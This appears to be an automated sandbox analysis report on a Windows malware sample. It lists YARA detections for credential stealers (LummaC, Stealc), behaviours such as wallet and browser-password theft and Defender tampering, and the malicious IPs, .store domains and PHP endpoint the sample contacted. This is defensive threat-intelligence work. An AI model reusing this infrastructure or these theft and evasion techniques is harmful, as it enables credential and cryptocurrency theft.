Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: number of queries: 1535
Yara detected Credential Stealer
Source: Yara match File source: 00000008.00000003.2459931933.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2672868739.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2604206292.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1760913746.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2518756456.0000000000B82000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2517380337.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2604824615.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2693167425.0000000001109000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2492196497.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6996, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bd73c9fe1b.exe PID: 1056, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bd73c9fe1b.exe PID: 3992, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: f27afcd405.exe PID: 1352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f27afcd405.exe PID: 5180, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 6996, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bd73c9fe1b.exe PID: 1056, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bd73c9fe1b.exe PID: 3992, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 30.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 30.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000025.00000000.2811806473.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2770625069.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.2811751180.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2682454468.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.2678993762.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2539631182.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.2662848375.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2681835070.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2580073228.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2830777733.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2830712627.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.2662760119.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b28f5af0b9.exe PID: 2148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: b28f5af0b9.exe PID: 7132, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 5688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 1516, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545823 Sample: file.exe Startdate: 31/10/2024 Architecture: WINDOWS Score: 100 91 thumbystriw.store 2->91 93 presticitpo.store 2->93 95 34 other IPs or domains 2->95 115 Suricata IDS alerts for network traffic 2->115 117 Found malware configuration 2->117 119 Antivirus detection for dropped file 2->119 121 17 other signatures 2->121 9 skotes.exe 4 25 2->9         started        14 file.exe 2 2->14         started        16 bd73c9fe1b.exe 2->16         started        18 5 other processes 2->18 signatures3 process4 dnsIp5 109 185.215.113.43, 49781, 49797, 49845 WHOLESALECONNECTIONSNL Portugal 9->109 79 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 9->79 dropped 81 C:\Users\user\AppData\...\f27afcd405.exe, PE32 9->81 dropped 83 C:\Users\user\AppData\...\b28f5af0b9.exe, PE32 9->83 dropped 89 5 other malicious files 9->89 dropped 165 Creates multiple autostart registry keys 9->165 167 Hides threads from debuggers 9->167 169 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->169 20 bd73c9fe1b.exe 2 9->20         started        24 b28f5af0b9.exe 9->24         started        27 f27afcd405.exe 9->27         started        29 num.exe 9->29         started        111 necklacedmny.store 188.114.97.3, 443, 49730, 49731 CLOUDFLARENETUS European Union 14->111 113 185.215.113.16, 49744, 49803, 49851 WHOLESALECONNECTIONSNL Portugal 14->113 85 C:\Users\user\...\S39605Y99PQJP70DBWYAE5A.exe, PE32 14->85 dropped 87 C:\Users\user\...\CMI46CXL3718GGL9UBA.exe, PE32 14->87 dropped 171 Query firmware table information (likely to detect VMs) 14->171 173 Found many strings related to Crypto-Wallets (likely being stolen) 14->173 175 Tries to evade debugger and weak emulator (self modifying code) 14->175 187 2 other signatures 14->187 31 S39605Y99PQJP70DBWYAE5A.exe 4 14->31         started        33 CMI46CXL3718GGL9UBA.exe 9 1 14->33         started        177 Tries to harvest and steal ftp login credentials 16->177 179 Tries to harvest and steal browser information (history, passwords, etc) 16->179 181 Tries to steal Crypto Currency Wallets 16->181 183 Binary is likely a compiled AutoIt script file 18->183 185 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->185 35 firefox.exe 18->35         started        37 firefox.exe 18->37         started        39 5 other processes 18->39 file6 signatures7 process8 dnsIp9 73 C:\Users\user\...\SLPBKPVSB544AP3LMUB.exe, PE32 20->73 dropped 75 C:\Users\user\...\5EQND7K5L8HE276L.exe, PE32 20->75 dropped 123 Antivirus detection for dropped file 20->123 125 Multi AV Scanner detection for dropped file 20->125 127 Detected unpacking (changes PE section rights) 20->127 143 3 other signatures 20->143 41 SLPBKPVSB544AP3LMUB.exe 20->41         started        44 5EQND7K5L8HE276L.exe 20->44         started        103 185.215.113.206, 49925, 80 WHOLESALECONNECTIONSNL Portugal 24->103 145 2 other signatures 24->145 129 Binary is likely a compiled AutoIt script file 27->129 46 taskkill.exe 27->46         started        48 taskkill.exe 27->48         started        55 4 other processes 27->55 77 C:\Users\user\AppData\Local\...\skotes.exe, PE32 31->77 dropped 131 Machine Learning detection for dropped file 31->131 133 Tries to evade debugger and weak emulator (self modifying code) 31->133 135 Hides threads from debuggers 31->135 50 skotes.exe 31->50         started        137 Modifies windows update settings 33->137 139 Disables Windows Defender Tamper protection 33->139 141 Disable Windows Defender notifications (registry) 33->141 147 2 other signatures 33->147 105 prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 GOOGLEUS United States 35->105 107 127.0.0.1 unknown unknown 35->107 57 2 other processes 35->57 52 firefox.exe 37->52         started        59 5 other processes 39->59 file10 signatures11 process12 dnsIp13 149 Multi AV Scanner detection for dropped file 41->149 151 Tries to evade debugger and weak emulator (self modifying code) 41->151 153 Hides threads from debuggers 41->153 155 Tries to detect sandboxes / dynamic malware analysis system (registry check) 44->155 157 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 44->157 61 conhost.exe 46->61         started        63 conhost.exe 48->63         started        159 Antivirus detection for dropped file 50->159 161 Detected unpacking (changes PE section rights) 50->161 163 Machine Learning detection for dropped file 50->163 97 youtube.com 172.217.16.206 GOOGLEUS United States 52->97 99 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 52->99 101 3 other IPs or domains 52->101 65 firefox.exe 52->65         started        67 conhost.exe 55->67         started        69 conhost.exe 55->69         started        71 conhost.exe 55->71         started        signatures14 process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
188.114.97.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
172.217.16.206
 youtube.com United States
15169 GOOGLEUS false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
star-mini.c10r.facebook.com 157.240.252.35 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
twitter.com 104.244.42.193 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
dyna.wikimedia.org 185.15.59.224 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 172.217.16.206 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
youtube-ui.l.google.com 142.250.185.238 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
reddit.map.fastly.net 151.101.65.140 true
ipv4only.arpa 192.0.0.171 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
necklacedmny.store 188.114.97.3 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
www.reddit.com unknown unknown
spocs.getpocket.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
presticitpo.store unknown unknown
support.mozilla.org unknown unknown
firefox.settings.services.mozilla.com unknown unknown
www.youtube.com unknown unknown
fadehairucw.store unknown unknown
www.facebook.com unknown unknown
detectportal.firefox.com unknown unknown
thumbystriw.store unknown unknown
shavar.services.mozilla.com unknown unknown
crisiwarny.store unknown unknown
www.wikipedia.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown
      http://185.215.113.206/6c4adf523b719729.php true
        		unknown
        founpiuer.store true
          		unknown
          presticitpo.store true
            		unknown